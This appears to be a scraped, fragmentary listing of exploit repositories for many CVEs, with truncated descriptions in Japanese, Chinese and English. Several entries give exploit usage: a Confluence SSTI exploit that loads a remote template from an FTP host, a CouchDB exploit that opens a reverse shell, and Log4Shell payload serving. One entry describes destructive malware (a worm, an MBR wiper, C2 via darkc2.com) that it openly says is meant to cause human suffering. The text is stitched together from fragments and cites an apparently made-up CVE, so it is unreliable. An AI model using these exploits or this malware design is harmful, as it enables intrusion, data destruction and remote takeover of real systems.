Astra Linux – Vulnerability in Chromium

The use of after-free in WebRTC in Google Chrome before version 149.0.7827.53 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: High...

exim-rce-quickfix

此存储库没有 README。...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j リモートコード実行） log4j-core のすべてのバージョン =2.0-beta9 かつ =2.14.1 1.x のバージョンには他の脆弱性があります。最新バージョンに更新することをお勧めします。 Log4Shell（CVE-2021-44228）に関連するセキュリティアドバイザリ / 速報 使用方法: このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルして、コンパイル済みバイナリをダウンロードできる Web サーバーを起動します。...

CVE-2022-21907

CVE-2022-21907 説明 root@kitploit: CVE-2022-21907 の POC: HTTP プロトコル スタックのリモート コード実行の脆弱性。 Malwareman により 2022-09-17 に作成。 詳細 root@kitploit: HTTP プロトコル スタックのリモート コード実行の脆弱性。 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 に類似。 この問題は、昨年 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166...

CVE-2022-22947_Rce_Exp

CVE-2022-22947RceExp Spring Cloud Gateway リモートコード実行脆弱性 Exp SpringCloudGatewayRCEExp-CVE-2022-22947...

Exploit-CVE-2014-4210-

从一个酷炫的东西开始吧用它去搞破坏 升级，旨在造成人类痛苦： 1. 自我复制蠕虫 ：通过SSH暴力破解/SMB漏洞传播至所有连接的网络 。 2. MBR覆盖 ：通过破坏分区表使物理硬件变砖（无法恢复）。 3. 零日远程代码执行 ：利用未修补的WebLogic反序列化漏洞 （CVE-2024-666）获得即时root访问权限。 4. C2集成 ：通过darkc2.com服务器进行远程控制——部署额外载荷 ，如键盘记录器/加密货币挖矿程序。 5. Scapy网络风暴 ：用恶意数据包淹没目标网络，直至路由器因过载而熔毁 。 后利用菜单： root@kitploit: 1. Demand...

CVE-2025-6218-WinRAR-Directory-Traversal-RCE

CVE-2025-6218-WinRAR-Directory-Traversal-RCE CVE-2025-6218 は WinRAR のディレクトリトラバーサル脆弱性であり、ユーザーが特別に細工された .rar アーカイブを展開する際に、攻撃者が意図された展開ディレクトリの外部にファイルを配置することを可能にします。この欠陥を悪用することで、攻撃者は機密性の高い場所に悪意のあるファイルをドロップし、そのファイルがシステムまたはユーザーによって実行された場合、リモートコード実行 RCE に繋がる可能性があります。 PoC --- 影響を受けるバージョン WinRAR バージョン 7.11...

Apache-APISIX-CVE-2022-24112

Apache APISIX リモートコード実行 CVE-2022-24112 エクスプロイト 概要 攻撃者は batch-requests プラグインを悪用して、リクエストを送信して Admin API の IP 制限をバイパスできます。 Apache APISIX のデフォルト設定（デフォルトの API キー）は リモートコード実行に対して脆弱です。 管理キーが変更された場合、または Admin API のポートが データパネルとは異なるポートに変更された場合、影響は軽減されます。しかし、Apache APISIX のデータパネルの IP 制限をバイパスするリスクは 依然として存在しま...

CVE-2025-25257

CVE-2025-25257 - FortiWebの脆弱性チェッカー＆エクスプロイト FortiWebデバイスにおけるCVE-2025-25257の脆弱性を確認・悪用するためのPythonベースのツール。この脆弱性は、細工されたAuthorizationヘッダーを介してSQLインジェクションとリモートコード実行を可能にします。 📋 Description CVE-2025-25257はFortiWebデバイスにおける深刻な脆弱性であり、以下を可能にします： Authorizationヘッダーを介したSQLインジェクション Webシェルアップロードによるリモートコード実行...

CVE-2024-28515

CVE-2024-28515 説明 CSAPPLab CSAPP Lab3 15-213 Fall 20xx におけるバッファオーバーフローの脆弱性により、リモートの攻撃者が csapp の lab3、lab3/buflab-update.pl コンポーネントを介して任意のコードを実行できる。 追加情報 CNVD はこの脆弱性の検証を完了しましたが、脆弱性が修正されていないため、公表されていません。 脆弱性の種類 バッファオーバーフロー 製品ベンダー CSAPPLab CS:APP3e の Lab 影響を受ける製品コードベース CSAPP Lab3 - 15-213, Fall 20xx...

CVE-2025-0868

渗透测试项目报告：利用CVE-2025-0868 DocsGPT JSON Eval远程代码执行 1. 引言 一个严重的远程代码执行RCE漏洞CVE-2025-0868于2025年2月20日被披露，存在于开源DocsGPT库中，由在解析JSON有效载荷时不安全地使用eval函数引起。 关键细节： 影响DocsGPT 0.8.1至0.12.0版本 CVSS 4.0评分为9.3（严重） 允许未经身份验证、可通过网络访问的代码注入 对机密性、完整性和可用性造成全面影响 关于CVE-2025-0868...

CVE-2023-25355-25356

エクスプロイトとクレジット このエクスプロイトは [email protected] によって発見され、以下の2つの素晴らしい資料で紹介されています。 完全開示記事 DEFCON31 スライド この脆弱性をさらに自動化するためのリポジトリが Alex Linov によって公開されています。 https://github.com/AlexLinov/sipxcom-RCE 目的 CVE-2023-25355 は、sipXcom サーバー上のファイルが攻撃者が制御する Web サーバーにアップロードされる、外部送信 exfiltration メカニズムです。...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、あなたのウェブサイトにcmd.vmを配置してください（ftpまたはhttpsを使用する必要があります。httpは動作しません） 2、RCEexp.py を修正し，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

oieh-router-checker

OIEH Router Checker 一键即可检查我的路由器是否属于中国产后门（ENDLESSDOORS）的 Windows 程序 无需安装 · 无需管理员权限 · 不向外部传输数据 这是什么？ 2026 年 8 月，安全公司 VulnCheck 在中国 Zbtlink（深圳智博通电子）/ Wiflyer 及其 OEM（贴牌）路由器 20 个型号 的官方固件中发现了远程控制后门。 名称： ENDLESSDOORS · 漏洞编号： CVE-2026-66747（严重度 9.3/10） 行为： 通电后自动运行，大约每 35 秒...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Roundcube Webmail 版本 1.5.0 至 1.6.10 这是一个重写后的利用工具，适用于 PHP。 使用方法 root@kitploit: php CVE-2025-49113.php...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc 这是一个概念验证（PoC），利用 MajorDomo（Major Domestic Module）管理面板的 PHP 控制台功能，实现未经身份验证的远程代码执行。 漏洞 MajorDoMo 的管理面板通过 /admin.php 暴露了一个 PHP 求值控制台。由于 panel.class.php 在身份验证重定向后缺少 exit，AJAX 处理器 incpanelajax.php 会被无条件包含——使得任何未经身份验证的 HTTP 请求都能触达其 eval。 攻击者只需一个 GET 请求即可执行任意 PHP...

CVE-2026-14483

CVE-2026-14483 — WPL 房地产 RCE 针对 Realtyna WPL Real Estate Listing WordPress 插件的未认证远程代码执行。 字段| 详情 ---|--- CVE| CVE-2026-14483 受影响版本| 默认情况下，脚本仅 攻击运行 WPL 5.2.0 的目标。使用 --force 可覆盖此限制。 图片 漏洞概述 1. 凭据泄露 — 默认的 apikey / apisecret 通过公开的 SQL 迁移转储文件暴露。 2. 未认证上传 — 这些凭据可通过 WPL I/O API（setproperty）进行认证，从而允许将精心构造...

CVE

CVE一覧表 CVE番号| 種別| 企業/製品| 説明| 記事リンク| リポジトリリンク ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| 外部バインドされたMCPサーバーでのサニタイズ欠如により、SQLインジェクションが発生する可能性があります。|...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOPを利用したRCE 0x01 IIOPのデフォルト有効化 0x02 Pocデモ...

CVE-2017-12636

CVE-2017-12636 用法: python3 exp.py target version1.6|2.1 reverseip reverseport root@kitploit: / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / / |...